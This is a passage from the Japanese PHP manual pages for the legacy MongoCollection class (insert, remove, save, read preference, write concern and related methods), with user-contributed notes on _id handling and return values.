Also at first my amount column was a string, which caused the results to be concatenated rather than arithmetic addition, something else to watch out for.

[red.: Instead of this, please use the new aggregation framework. See the documentation for MongoCollection::aggregate]
Evgeniy Abduzhapparov 12-Nov-2010 05:05
Here I am posting how I get tags from my documents. Documents should have 'tags' field which is array of strings:
{'tags':['php', 'mongo']}
<?php
$keys = array();
$initial = array('tags'=>array(), 'count'=>0);
$reduce = 'function (doc, total) { if (doc.tags.length) {doc.tags.forEach(function (e) {total.tags[e]=total.tags[e]||0; total.tags[e]++; total.count++;});} }';
$criteria = array(
    'condition' => array(
        'tags' => array('$exists'=>true)
    ),
);
?>


ドキュメントをコレクションに追加する

  • ≪ MongoCollection::group
  • MongoCollection::parallelCollectionScan ≫
  • PHP Manual
  • MongoCollection
  • ドキュメントをコレクションに追加する

MongoCollection::insert

(PECL mongo >=0.9.0)

MongoCollection::insert — ドキュメントをコレクションに追加する

説明

public MongoCollection::insert ( array|object $document , array $options = array() ) : bool|array

データベースに送信する文字列は UTF-8 でなければなりません。 UTF-8 以外の文字列を送信した場合は MongoException がスローされます。非 UTF-8 文字列を追加 (あるいは問い合わせ) するには MongoBinData を使います。

パラメータ

document

配列あるいはオブジェクト。オブジェクトを使う場合は、 protected や private のプロパティは保持できません。

注意:

_id のキーあるいはプロパティを持たない場合は、 新しい MongoId インスタンスを作ってそれを代入します。 ただし、パラメータを参照で渡した場合は別です。

options

追加操作についてのオプションの配列。 現在利用可能なオプションは、以下のとおりです。

  • "fsync"

    Boolean 型で、デフォルトは false です。 ジャーナリングが有効な場合、これは "j" とまったく同じ動きをします。 ジャーナリングが有効でない場合は、追加をディスク上のデータベースファイルに同期させるまで成功したと見なさないようになります。 true にすると確認つき書き込みが暗黙のうちに設定され、"w" の値を 0 にします。

    注意: ジャーナリングが有効な場合は、"fsync" のかわりに "j" を使いましょう。 "fsync" と "j" を同時に指定すると、エラーになります。

  • "j"

    デフォルトは false です。これを指定すると、追加をジャーナルに同期させるまで成功したと見なさないようになります。true にすると確認付き書き込みと見なされ、"w" の設定を 0 に上書きします。

    注意: このオプションを使っているときにジャーナリングを無効にすると、MongoDB 2.6 以降ではエラーが発生して書き込みに失敗します。古いバージョンのサーバーでは、単純にオプションの指定を無視します。

  • "socketTimeoutMS"

    このオプションは、ソケット通信の制限時間を、ミリ秒単位で指定します。この時間内にサーバーからの反応がなければ、MongoCursorTimeoutException をスローします。この場合、サーバー側で書き込み処理が行われたのかどうかを判断できなくなります。-1 を指定すると、永遠にブロックします。MongoClient のデフォルト値は 30000 (30 秒) です。

  • "w"

    WriteConcerns を参照ください。MongoClient でのデフォルト値は 1 です。

  • "wTimeoutMS"

    このオプションは、書き込み確認を待つ制限時間をミリ秒単位で指定します。これが書き込み操作に適用されるのは、"w" が 1 より大きい場合のみです。というのも、タイムアウトはレプリケーションに関する機能だからです。この時間内に書き込み確認ができなかった場合は MongoCursorException をスローします。0 を指定すると、永遠にブロックし続けます。MongoClient でのデフォルトは 10000 ミリ秒 (10 秒) です。

以下のオプションは廃止予定です。使ってはいけません。

  • "safe"

    非推奨。write concern の w オプションを使いましょう。

  • "timeout"

    非推奨。"socketTimeoutMS" のエイリアス。

  • "wtimeout"

    廃止予定。"wTimeoutMS" のエイリアスです。

返り値

"w" オプションが設定されている場合は、 追加の状況を含む配列を返します。 設定されていない場合は、 もし追加された配列が空でない場合に true を返します (追加された配列が空の場合は MongoException をスローします)。

配列が返された場合、その中に含まれる要素は次のようになります。

ok

これはほぼ常に 1 です (ただし last_error 自体が失敗した場合は除く)。

err

このフィールドに null 以外の値が入っている場合は、直前の操作でエラーが発生しています。 このフィールドが設定されている場合、その内容は発生したエラーを表す文字列となります。

code

データベースのエラーが発生した場合に、そのエラーコードをクライアントに戻します。

errmsg

このフィールドが設定されるのは、データベースコマンドで何か問題が発生したときです。 ok を 0 にすることと組み合わせて使います。 たとえば、もし w が設定されているときにタイムアウトが発生すると、 errmsg は "timed out waiting for slaves" そして ok は 0 になります。 このフィールドが設定されている場合、その内容は発生したエラーを表す文字列となります。

n

直近の操作が insert、update あるいは remove だった場合に、影響を受けたドキュメントの数を返します。 追加操作の場合は、この値は常に 0 です。

wtimeout

直近の操作がレプリケーション待ちでタイムアウトしたかどうか。

waited

操作がタイムアウトするまでにどれだか待ったか。

wtime

w を設定して、かつ操作が成功した場合に、 w サーバーへのレプリケートにかかった時間。

upserted

upsert が発生した場合は、このフィールドに新しいレコードの _id が格納されます。upsert の場合は、このフィールドあるいは updatedExisting のいずれかが (エラーが発生しない限り) 必ず存在します。

updatedExisting

upsert が既存の要素を更新した場合に、このフィールドが true となります。 _id が格納されます。upsert の場合は、このフィールドあるいは upsearted のいずれかが (エラーが発生しない限り) 必ず存在します。

エラー / 例外

追加したドキュメントが空だったり長さがゼロのキーが含まれていたりした場合に MongoException をスローします。 protected や private なプロパティを持つオブジェクトを追加しようとすると、 キーの長さがゼロのエラーを引き起こします。

"w" オプションが設定されていて書き込みが失敗した場合に MongoCursorException をスローします。

"w" オプションの値が 1 より大きく設定されていて、操作の完了までの時間が MongoCursor::$timeout ミリ秒をこえた場合に MongoCursorTimeoutException をスローします。サーバー上での操作は止めません。これはクライアント側でのタイムアウトです。MongoCollection::$wtimeout はミリ秒です。

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | "wTimeoutMS" オプションが追加されました。これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと E_DEPRECATED が発生します。 "socketTimeoutMS" オプションが追加されました。これは "timeout" を置き換えるものです。 "timeout" を使うと E_DEPRECATED が発生します。 "safe" を使うと E_DEPRECATED が発生します。
PECL mongo 1.3.4 | "wtimeout" オプションが追加されました。
PECL mongo 1.3.0 | "w" オプションが追加されました。 options パラメータで、boolean だけを渡して確認付きの書き込みを指定することができなくなりました。 同じことをするには array('w' => 1) (MongoClient のデフォルト) としなければなりません。
PECL mongo 1.2.0 | "timeout" オプションが追加されました。
PECL mongo 1.0.11 | "safe" が設定されている場合は、"not master" エラーで接続を切断するようになりました。
PECL mongo 1.0.9 | "safe" オプションに整数値がわたせるようになりました (以前は boolean のみでした)。 "fsync" オプションが追加されました。 "safe" オプションを使っている場合の返り値の型が配列に変わりました。 配列にはエラー情報が含まれています。"safe" オプションを使わない場合は、今までどおり boolean のままです。
PECL mongo 1.0.2 | 二番目のパラメータがオプションの配列に変わりました。1.0.2 より前のバージョンでは、二番目のパラメータは "safe" オプションを表す boolean 値でした。
PECL mongo 1.0.1 | "safe" オプションが設定されていて追加に失敗した場合に MongoCursorException をスローするようになりました。

例

例1 MongoCollection::insert() の _id の例

すでに存在しない場合は、_id フィールドを追加します。 パラメータの渡しかたによって、生成された _id に呼び出し元のコードからアクセスできるかどうかが変わります。

<?php

$m = new MongoClient();
$collection = $m->selectCollection('test', 'phpmanual');

// 配列リテラルを使った場合は、生成された _id にはアクセスできません
$collection->insert(array('x' => 1));

// 値渡しした配列には _id が追加されています
$a = array('x' => 2);
$collection->insert($a);
var_dump($a);

// 参照渡しした配列からは _id は見えません
$b = array('x' => 3);
$ref = &$b;
$collection->insert($ref);
var_dump($ref);

// ラップする関数がコピーオンライトを引き起こさない場合は _id にアクセスできます
function insert_no_cow($collection, $document)
{
    $collection->insert($document);
}

$c = array('x' => 4);
insert_no_cow($collection, $c);
var_dump($c);

// ラップする関数がコピーオンライトを引き起こす場合は _id にアクセスできません
function insert_cow($collection, $document)
{
    $document['y'] = 1;
    $collection->insert($document);
}

$d = array('x' => 5);
insert_cow($collection, $d);
var_dump($d);

?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["x"]=>
  int(2)
  ["_id"]=>
  object(MongoId)#4 (0) {
  }
}
array(1) {
  ["x"]=>
  int(3)
}
array(2) {
  ["x"]=>
  int(4)
  ["_id"]=>
  object(MongoId)#5 (0) {
  }
}
array(1) {
  ["x"]=>
  int(5)
}

例2 MongoCollection::insert() での確認つき書き込みの例

この例は、同じ _id を持つ二つの要素を追加しようとするものです。 w が設定されていれば、 MongoCursorException がスローされます。

<?php

$person = array("name" => "Joe", "age" => 20);
$collection->insert($person);

// $person には _id フィールドができたので、
// もう一度追加しようとすると例外が発生します
try {
    $collection->insert($person, array("w" => 1));
} catch(MongoCursorException $e) {
    echo "Can't save the same person twice!\n";
}

?>

参考

  • MongoCollection::batchInsert() - 複数のドキュメントをコレクションに追加する
  • MongoCollection::update() - 指定した条件にもとづいてレコードを更新する
  • MongoCollection::find() - コレクションに問い合わせ、結果セットの MongoCursor を返す
  • MongoCollection::remove() - レコードをコレクションから削除する
  • MongoDB コアドキュメントの » insert

User Contributed Notes

mike at eastghost dot com 25-May-2014 03:53
Attempting to insert() an array containing a NULL value followed by a blank space, in a non-utf8 encoding, results in the entire array (and all of its data) being ignored and the $opts array parameter being substituted instead as the data.
root at php dot net 04-Apr-2013 11:06
_id and MongoId can be a source of problems that can make what would seem a trivial operation potentially complicated.

MongoId is not as predictable or safe as mysql's auto increment (an example that most PHP developers will be familiar with). _id is generated by the client rather than the server and so does not guarantee that it will be collision free.

By comparison, server side auto_increment mechanisms that PHP programmers might typically be used to wont collide until every single id had been used and with 64bits you can ensure this will almost never happen. You will also know when your table is getting full, and you can predict the rate. Most importantly, no matter the mechanism, being server side guarantees two clients wont collide. Mongo's behaviour is different to this.

Generally speaking inserting without specifying _id will tend to work, but there are some cases where is can fail or is particularly prone to failure.

The total size I believe is 96 bits. This might seem like a lot but the value is not created randomly. It is generated like this:

$unixtime . $machine_id . $pid . $counter

The counter starts from zero and is attached to each instance of MongoClient thus two MongoClient connections to the same server will almost certainly not work (produce a collision):

$m=new MongoWrapper();
$m->insert([0]);
$m=new MongoWrapper();
$m->insert([1]);

If MongoWrapper is not using a singleton for the connection or something to the same effect, the second call will most likely have the same unixtime. It will certainly have the same machine_id, pid and counter. The insert will fail.

If you are not using a singleton, this will work:

$m=new MongoWrapper();
$m->insert([0]);
$m->insert([1]);

You may also have difficulties in a multiple machine environment.

machine_id is a hash of gethostname. This is not guaranteed to be unique across machines. Some people do not set hostnames at all. If you do not ensure that your machines all have unique hostnames then if in the same second, two machines run a script that inserts, the second will have a 1 in 2^15 chance of colliding (assuming the most common PID max). Depending on how the system handles pids, the probability may actually be a little less. In short, make sure any host accessing your mongodb has a hostname that is unique among any other host accessing your mongodb.

I've seen some specs specify that counter should start from a random value but I highly recommend against this as it merely hides/obscures the problem.
gmail.com@mspreij 22-Jan-2013 04:53
"Note: If the parameter does not have an _id key or property, a new MongoId instance will be created and assigned to it."

Note on note: this is true even if the insert *fails* (because of, say, duplicate key error). So even if no new document was inserted, the supplied array will still have a new MongoID key ->_id after the ->insert().

(which can make an attempted update after that fail, because you cannot update the _id value of a document..)
cuisdy at gmail dot com 30-Nov-2012 05:21
Another rarity to keep in mind. Passing references has the same effect as passing a referenced object. Even if there's no different for PHP between those two, it's probably not evident. So, this code would not have the _id field added to $a:

<?php

$b = &$a;

/* ... more code here ... */

$m = new MongoClient;
$collection = $m->test->phpmanual;

$a = array('x' => 12);

$collection->insert($a);
var_dump($a);
// array(1) { ["x"]=> int(12) }

?>

I've made the assignment above to show how this situation could happen, if you reassigned a var, for example. But it could be some normal referencing after giving $a its final value (but before calling insert), and the consequence would be the same: if a var is referenced, it won't get the _id appended.
John S. 29-Aug-2012 02:10
Note, that the _id field will only be added to an inserted array if it does not already exist in the supplied array:

<?php
$data = array('x' => 12);
var_dump($data);
$collection->insert($data);
var_dump($data);
?>

Will output something like:

array(1) {
  ["x"]=>
  int(12)
}
array(2) {
  ["x"]=>
  int(12)
  ["_id"]=>
  object(MongoId)#196 (1) {
    ["$id"]=>
    string(24) "503e21fc0605290912000000"
  }
}

however,

$data = array('x' => 12, '_id' => NULL);
var_dump($data);
$collection->insert($data);
var_dump($data);

will not have the same result:

array(2) {
  ["x"]=>
  int(12)
  ["_id"]=>
  NULL
}
array(2) {
  ["x"]=>
  int(12)
  ["_id"]=>
  NULL
}
Christer Edvartsen 01-Apr-2011 08:54
Also worth noting is that the MongoCollection::insert() method accepts objects as the first argument as well as arrays.

<?php
$data = new stdClass;
$data->foo = 'foo';
$data->bar = 'bar';
$collection->insert($data);
var_dump($data->_id); // An instance of MongoId
?>

You can use other classes as well, but MongoCollection::insert() will fail if the object contains any protected or private properties. Public properties listed in the class will also be inserted:

<?php
class SomeClass {
    public $foo = 'bar';
    public $bar = 'foo';
}

$data = new SomeClass;
$data->foobar = 42;
$collection->insert($data);
var_dump($data->_id); // An instance of MongoId
?>

will result in a document with four elements:

_id => some mongoid
foo => 'bar'
bar => 'foo'
foobar => 42


Returns an array of cursors to iterator over a full collection in parallel

  • ≪ MongoCollection::insert
  • MongoCollection::remove ≫
  • PHP Manual
  • MongoCollection
  • Returns an array of cursors to iterator over a full collection in parallel

MongoCollection::parallelCollectionScan

(PECL mongo >=1.5.0)

MongoCollection::parallelCollectionScan — Returns an array of cursors to iterator over a full collection in parallel

説明

public MongoCollection::parallelCollectionScan ( int $num_cursors ) : array[MongoCommandCursor]

This method returns an array of a maximum of num_cursors cursors. An iteration over one of the returned cursors results in a partial set of documents for a collection. Iteration over all the returned cursors results in getting every document back from the collection.

This method is a wrapper for the parallelCollectionScan MongoDB command.

パラメータ

num_cursors

The number of cursors to request from the server. Please note, that the server can return less cursors than you requested.

返り値

Returns an array of MongoCommandCursor objects.

例

例1 MongoCollection::parallelCollectionScan() example

Returning all documents in a collection by using multiple cursors.

<?php
$m = new MongoClient;
$c = $m->demo->cities;

/* Request three cursors */
$cursors = $c->parallelCollectionScan( 3 );

/* Add all the cursors to the MultipleIterator */
$mi = new MultipleIterator( MultipleIterator::MIT_NEED_ANY );
foreach ( $cursors as $cursor )
{
    $mi->attachIterator( $cursor );
}

/* Iterate over all the associated cursors */
foreach ( $mi as $items )
{
    foreach ( $items as $item )
    {
        if ( $item !== NULL )
        {
            echo $item['name'], "\n";
        }
    }
}
?>

参考

  • MultipleIterator
  • MongoCommandCursor
  • MongoDB::command() - データベースコマンドを実行する

User Contributed Notes

There are no user contributed notes for this page.


レコードをコレクションから削除する

  • ≪ MongoCollection::parallelCollectionScan
  • MongoCollection::save ≫
  • PHP Manual
  • MongoCollection
  • レコードをコレクションから削除する

MongoCollection::remove

(PECL mongo >=0.9.0)

MongoCollection::remove — レコードをコレクションから削除する

説明

public MongoCollection::remove
 ( array $criteria = array()
, array $options = array()
) : bool|array

パラメータ

criteria

削除したいレコードの条件。

options

削除時のオプションの配列。 現在利用可能なオプションは、以下のとおりです。

  • "w"

    WriteConcerns を参照ください。MongoClient でのデフォルト値は 1 です。

  • "justOne"

    true を指定すると、条件にマッチするレコードを 1 件だけ削除します。 false を指定したり省略したりした場合は、条件にマッチするすべてのレコードを削除します。

  • "fsync"

    Boolean 型で、デフォルトは false です。 ジャーナリングが有効な場合、これは "j" とまったく同じ動きをします。 ジャーナリングが有効でない場合は、追加をディスク上のデータベースファイルに同期させるまで成功したと見なさないようになります。 true にすると確認つき書き込みが暗黙のうちに設定され、"w" の値を 0 にします。

    注意: ジャーナリングが有効な場合は、"fsync" のかわりに "j" を使いましょう。 "fsync" と "j" を同時に指定すると、エラーになります。

  • "j"

    デフォルトは false です。これを指定すると、追加をジャーナルに同期させるまで成功したと見なさないようになります。true にすると確認付き書き込みと見なされ、"w" の設定を 0 に上書きします。

    注意: このオプションを使っているときにジャーナリングを無効にすると、MongoDB 2.6 以降ではエラーが発生して書き込みに失敗します。古いバージョンのサーバーでは、単純にオプションの指定を無視します。

  • "socketTimeoutMS"

    このオプションは、ソケット通信の制限時間を、ミリ秒単位で指定します。この時間内にサーバーからの反応がなければ、MongoCursorTimeoutException をスローします。この場合、サーバー側で書き込み処理が行われたのかどうかを判断できなくなります。-1 を指定すると、永遠にブロックします。MongoClient のデフォルト値は 30000 (30 秒) です。

  • "w"

    WriteConcerns を参照ください。MongoClient でのデフォルト値は 1 です。

  • "wTimeoutMS"

    このオプションは、書き込み確認を待つ制限時間をミリ秒単位で指定します。これが書き込み操作に適用されるのは、"w" が 1 より大きい場合のみです。というのも、タイムアウトはレプリケーションに関する機能だからです。この時間内に書き込み確認ができなかった場合は MongoCursorException をスローします。0 を指定すると、永遠にブロックし続けます。MongoClient でのデフォルトは 10000 ミリ秒 (10 秒) です。

以下のオプションは廃止予定です。使ってはいけません。

  • "safe"

    非推奨。write concern の w オプションを使いましょう。

  • "timeout"

    非推奨。"socketTimeoutMS" のエイリアス。

  • "wtimeout"

    廃止予定。"wTimeoutMS" のエイリアスです。

返り値

"w" が設定されていれば、削除の状態を表す配列を返します。 それ以外の場合は true を返します。

状態を表す配列のフィールドについては MongoCollection::insert() のドキュメントを参照ください。

エラー / 例外

"w" オプションが設定されていて書き込みが失敗した場合に MongoCursorException をスローします。

"w" オプションの値が 1 より大きく設定されていて、操作の完了までの時間が MongoCursor::$timeout ミリ秒をこえた場合に MongoCursorTimeoutException をスローします。サーバー上での操作は止めません。これはクライアント側でのタイムアウトです。MongoCollection::$wtimeout はミリ秒です。

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | "wTimeoutMS" オプションが追加されました。これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと E_DEPRECATED が発生します。 "socketTimeoutMS" オプションが追加されました。これは "timeout" を置き換えるものです。 "timeout" を使うと E_DEPRECATED が発生します。 "safe" を使うと E_DEPRECATED が発生します。
PECL mongo 1.3.4 | "wtimeout" オプションが追加されました。
PECL mongo 1.3.0 | "w" オプションが追加されました。 options パラメータで、boolean だけを渡して "justOne" を指定することができなくなりました。 同じことをするには array('justOne' => true) としなければなりません。
PECL mongo 1.2.11 | options が scalar のときに E_DEPRECATED を発行するようになりました。
PECL mongo 1.2.0 | "timeout" オプションが追加されました。
PECL mongo 1.0.11 | "safe" が設定されている場合は、"not master" エラーで接続を切断するようになりました。
PECL mongo 1.0.9 | "safe" オプションに整数値がわたせるようになりました (以前は boolean のみでした)。 "fsync" オプションが追加されました。 "safe" オプションを使っている場合の返り値の型が配列に変わりました。 配列にはエラー情報が含まれています。"safe" オプションを使わない場合は、今までどおり boolean のままです。
PECL mongo 1.0.5 | 二番目のパラメータがオプションの配列に変わりました。1.0.5 より前のバージョンでは、二番目のパラメータは "safe" オプションを表す boolean 値でした。

例

例1 MongoCollection::remove() で justOne を使う例

<?php

$radioactive = $db->radioactive;

// プルトニウムがあとどれだけ残っているかを数えます
$remaining = $radioactive->count(array('type' => 94));

$halflife = $remaining/2;

// それを半減させます
while ($halflife > 0) {
    $radioactive->remove(array('type' => 94), array("justOne" => true));
    $halflife--;
}

?>

参考

  • MongoCollection::insert() - ドキュメントをコレクションに追加する
  • MongoCollection::update() - 指定した条件にもとづいてレコードを更新する
  • MongoDB コアドキュメントの » remove

User Contributed Notes

konstantin718 at gmail dot com 21-Jan-2013 03:17
If you try to remove a document that doesn't exist, remove() won't throw an exception.

Even if 'w' is set to 1, remove() will return an array similar to this:

Array ( [n] => 0 [connectionId] => 10726 [err] => [ok] => 1 )

So, in order to see if a remove() was really successful, you need to look at [n] key.  If it's 0, that means the remove() did not remove any documents.

If remove() is successful, [n] will be > 0.
David Winter 02-Jan-2010 05:55
To remove a document based on its ID, you need to ensure that you pass the ID as a MongoID object rather than just a string:

<?php
$id = '4b3f272c8ead0eb19d000000';

// will not work:
$collection->remove(array('_id' => $id), true);

// will work:
$collection->remove(array('_id' => new MongoId($id)), true);
?>


ドキュメントをコレクションに保存する

  • ≪ MongoCollection::remove
  • MongoCollection::setReadPreference ≫
  • PHP Manual
  • MongoCollection
  • ドキュメントをコレクションに保存する

MongoCollection::save

(PECL mongo >=0.9.0)

MongoCollection::save — ドキュメントをコレクションに保存する

説明

public MongoCollection::save ( array|object $document , array $options = array() ) : mixed

データベースから取得したオブジェクトの場合はデータベース上の既存のオブジェクトを更新し、 それ以外の場合はオブジェクトを追加します。

パラメータ

document

保存したい配列あるいはオブジェクト。オブジェクトを使う場合は、 protected や private のプロパティは保持できません。

注意:

_id のキーあるいはプロパティを持たない場合は、 新しい MongoId インスタンスを作ってそれを代入します。 この挙動に関する詳しい情報は MongoCollection::insert() を参照ください。

options

保存時のオプション。

  • "fsync"

    Boolean 型で、デフォルトは false です。 ジャーナリングが有効な場合、これは "j" とまったく同じ動きをします。 ジャーナリングが有効でない場合は、追加をディスク上のデータベースファイルに同期させるまで成功したと見なさないようになります。 true にすると確認つき書き込みが暗黙のうちに設定され、"w" の値を 0 にします。

    注意: ジャーナリングが有効な場合は、"fsync" のかわりに "j" を使いましょう。 "fsync" と "j" を同時に指定すると、エラーになります。

  • "j"

    デフォルトは false です。これを指定すると、追加をジャーナルに同期させるまで成功したと見なさないようになります。true にすると確認付き書き込みと見なされ、"w" の設定を 0 に上書きします。

    注意: このオプションを使っているときにジャーナリングを無効にすると、MongoDB 2.6 以降ではエラーが発生して書き込みに失敗します。古いバージョンのサーバーでは、単純にオプションの指定を無視します。

  • "socketTimeoutMS"

    このオプションは、ソケット通信の制限時間を、ミリ秒単位で指定します。この時間内にサーバーからの反応がなければ、MongoCursorTimeoutException をスローします。この場合、サーバー側で書き込み処理が行われたのかどうかを判断できなくなります。-1 を指定すると、永遠にブロックします。MongoClient のデフォルト値は 30000 (30 秒) です。

  • "w"

    WriteConcerns を参照ください。MongoClient でのデフォルト値は 1 です。

  • "wtimeout"

    廃止予定。"wTimeoutMS" のエイリアスです。

  • "wTimeoutMS"

    このオプションは、書き込み確認を待つ制限時間をミリ秒単位で指定します。これが書き込み操作に適用されるのは、"w" が 1 より大きい場合のみです。というのも、タイムアウトはレプリケーションに関する機能だからです。この時間内に書き込み確認ができなかった場合は MongoCursorException をスローします。0 を指定すると、永遠にブロックし続けます。MongoClient でのデフォルトは 10000 ミリ秒 (10 秒) です。

  • "safe"

    非推奨。write concern の w オプションを使いましょう。

  • "timeout"

    非推奨。"socketTimeoutMS" のエイリアス。

返り値

w が設定されている場合は、 保存結果を含む配列を返します。設定されていない場合は、 配列が空でなかったかどうかをあらわす boolean 値を返します (空の配列は追加されません)。

エラー / 例外

追加したドキュメントが空だったり長さがゼロのキーが含まれていたりした場合に MongoException をスローします。 protected や private なプロパティを持つオブジェクトを追加しようとすると、 キーの長さがゼロのエラーを引き起こします。

"w" オプションが設定されていて書き込みが失敗した場合に MongoCursorException をスローします。

"w" オプションの値が 1 より大きく設定されていて、操作の完了までの時間が MongoCursor::$timeout ミリ秒をこえた場合に MongoCursorTimeoutException をスローします。サーバー上での操作は止めません。これはクライアント側でのタイムアウトです。MongoCollection::$wtimeout はミリ秒です。

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | オプション "wTimeoutMS" が追加されました。 これは "wtimeout" を置き換えるものです。 "wtimeout" を使うと、E_DEPRECATED が発生します。 オプション "socketTimeoutMS" が追加されました。 これは "timeout" を置き換えるものです。 "timeout" を使うと、E_DEPRECATED が発生します。 "safe" を使うと、E_DEPRECATED が発生します。
PECL mongo 1.2.0 | "timeout" オプションが追加されました。
PECL mongo 1.0.11 | "safe" が設定されている場合は、"not master" エラーで接続を切断するようになりました。
PECL mongo 1.0.9 | "fsync" オプションが追加されました。
PECL mongo 1.0.5 | options パラメータが追加されました。

例

例1 MongoCollection::save() の例

<?php

$obj = array('x' => 1);

// $obj を db に追加します
$collection->save($obj);
var_dump($obj);

// 別のフィールドを追加します
$obj['foo'] = 'bar';

// $obj をもう一度追加することはできません。_id が重複しているからです
$collection->insert($obj);

// 新しいフィールドつきの $obj で上書きします
$collection->save($obj);

?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["x"]=>
  int(1)
  ["_id"]=>
  object(MongoId)#4 (1) {
    ["$id"]=>
    string(24) "50b6afe544415ed606000000"
  }
}

User Contributed Notes

cuisdy at gmail dot com 30-Nov-2012 05:36
Same as with method insert(), it is worth noting that creating a reference to $obj will have the same effect as $obj being a reference itself, i.e. no _id field will be added.

<?php

$a = &$obj;

$m = new MongoClient;
$collection = $m->test->phpmanual;

$obj = array('x' => 1);

// Suppose you create a reference for some reason
$a = &$obj;

$collection->save($obj);

var_dump($obj);
// prints: array(1) { ["x"]=> int(1) }
?>


このコレクションの優先読み込みを設定する

  • ≪ MongoCollection::save
  • MongoCollection::setSlaveOkay ≫
  • PHP Manual
  • MongoCollection
  • このコレクションの優先読み込みを設定する

MongoCollection::setReadPreference

(PECL mongo >=1.3.0)

MongoCollection::setReadPreference — このコレクションの優先読み込みを設定する

説明

public MongoCollection::setReadPreference ( string $read_preference , array $tags = ? ) : bool

パラメータ

read_preference

読み込みの優先モード。MongoClient::RP_PRIMARY、MongoClient::RP_PRIMARY_PREFERRED、MongoClient::RP_SECONDARY、MongoClient::RP_SECONDARY_PREFERRED あるいは MongoClient::RP_NEAREST のいずれか。

tags

ゼロ個以上のタグセットの配列。各タグセット自体も配列で、レプリカセットのメンバーのタグにマッチさせる条件として使います。

返り値

成功した場合に true、それ以外の場合に false を返します。

エラー / 例外

パラメータが無効な場合、あるいは優先読み込みモードが MongoClient::RP_PRIMARY のときにタグセットを指定した場合に E_WARNING が発生します。

例

例1 MongoCollection::setReadPreference() タグセット配列構文の例

<?php

$m = new MongoClient();
$c = $m->test->users;

// "east" データセンターの一番近いサーバーをレポート用に使うようにして、
// 代替として "west" データセンターのサーバーを設定します
$c->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));
?>

参考

  • 優先読み込みのドキュメント
  • MongoCollection::getReadPreference() - このコレクションの優先読み込みを取得する

User Contributed Notes

There are no user contributed notes for this page.


Change slaveOkay setting for this collection

  • ≪ MongoCollection::setReadPreference
  • MongoCollection::setWriteConcern ≫
  • PHP Manual
  • MongoCollection
  • Change slaveOkay setting for this collection

MongoCollection::setSlaveOkay

(PECL mongo >=1.1.0)

MongoCollection::setSlaveOkay — Change slaveOkay setting for this collection

説明

public MongoCollection::setSlaveOkay ( bool $ok = true ) : bool

See the query section of this manual for information on distributing reads to secondaries.

パラメータ

ok

If reads should be sent to secondary members of a replica set for all possible queries using this MongoCollection instance.

返り値

Returns the former value of slaveOkay for this instance.

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | Emits E_DEPRECATED when used.

参考

  • 優先読み込み
  • MongoCollection::setReadPreference() - このコレクションの優先読み込みを設定する

User Contributed Notes

There are no user contributed notes for this page.


Set the write concern for this database

  • ≪ MongoCollection::setSlaveOkay
  • MongoCollection::toIndexString ≫
  • PHP Manual
  • MongoCollection
  • Set the write concern for this database

MongoCollection::setWriteConcern

(PECL mongo >=1.5.0)

MongoCollection::setWriteConcern — Set the write concern for this database

説明

public MongoCollection::setWriteConcern ( mixed $w , int $wtimeout = ? ) : bool

パラメータ

w

書き込み確認。何台のサーバーに書き込めたら成功とみなすのかを表す整数値、あるいは文字列 ("majority" など) でモードを指定します。

wtimeout

サーバーが書き込み確認を待つ最大ミリ秒数。

返り値

成功した場合に true、それ以外の場合に false を返します。

エラー / 例外

w が整数値あるいは文字列でない場合に E_WARNING が発生します。

例

例1 MongoDB::setWriteConcern() example

<?php

$mc = new MongoClient('mongodb://rs1.example.com,rs2.example.com');
$coll = $mc->selectCollection('test', 'foo');

// Require that the majority of servers in the replica set acknowledge writes
// within three seconds.
$coll->setWriteConcern('majority', 3000);
?>

参考

  • The write concern documentation.
  • MongoCollection::getWriteConcern() - Get the write concern for this collection

User Contributed Notes

There are no user contributed notes for this page.


インデックスを指定するキーを、インデックスを指す文字列に変換する

  • ≪ MongoCollection::setWriteConcern
  • MongoCollection::__toString ≫
  • PHP Manual
  • MongoCollection
  • インデックスを指定するキーを、インデックスを指す文字列に変換する

MongoCollection::toIndexString

(PECL mongo >=0.9.0)

MongoCollection::toIndexString — インデックスを指定するキーを、インデックスを指す文字列に変換する

説明

static protected MongoCollection::toIndexString ( mixed $keys ) : string
警告

このメソッドは、バージョン 1.5.0 以降は非推奨となりました。

パラメータ

keys

指し示す文字列に変換したいフィールド。

返り値

インデックスを表す文字列を返します。

例

例1 MongoCollection::toIndexString() の例

この例は、キーからインデックス名を作成する方法を示します。 このメソッドは protected (static) メソッドなので、まずは子クラスでオーバーロードしなければなりません。

<?php
// 派生クラスを作ってメソッドを "public" にします
class MyCollection extends MongoCollection
{
    static public function toIndexString($a)
    {
        return parent::toIndexString($a);
    }
}

echo MyCollection::toIndexString("foo"), "\n";
// 出力: foo_1

echo MyCollection::toIndexString(array('name' => 1, 'age' => -1)), "\n";
// 出力: name_1_age_-1
?>

参考

MongoDB コアドキュメントの » indexes

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | このメソッドは非推奨になりました。

User Contributed Notes

There are no user contributed notes for this page.


このコレクションの文字列表現

  • ≪ MongoCollection::toIndexString
  • MongoCollection::update ≫
  • PHP Manual
  • MongoCollection
  • このコレクションの文字列表現

MongoCollection::__toString

(PECL mongo >=0.9.0)

MongoCollection::__toString — このコレクションの文字列表現

説明

public MongoCollection::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

このコレクションの完全な名前を返します。

例

例1 MongoCollection::__toString() の例

<?php

$m = new MongoClient();

$c1 = $m->foo->bar->baz;
echo "Working with collection $c1.";

$c2 = $m->selectCollection('[]', '&');
echo "Working with collection $c2.";

?>

上の例の出力は、 たとえば以下のようになります。

Working with collection foo.bar.baz.
Working with collection [].&.

User Contributed Notes

There are no user contributed notes for this page.


指定した条件にもとづいてレコードを更新する

  • ≪ MongoCollection::__toString
  • MongoCollection::validate ≫
  • PHP Manual
  • MongoCollection
  • 指定した条件にもとづいてレコードを更新する

MongoCollection::update

(PECL mongo >=0.9.0)

MongoCollection::update — 指定した条件にもとづいてレコードを更新する

説明

public MongoCollection::update ( array $criteria , array $new_object , array $options = array() ) : bool|array

パラメータ

criteria

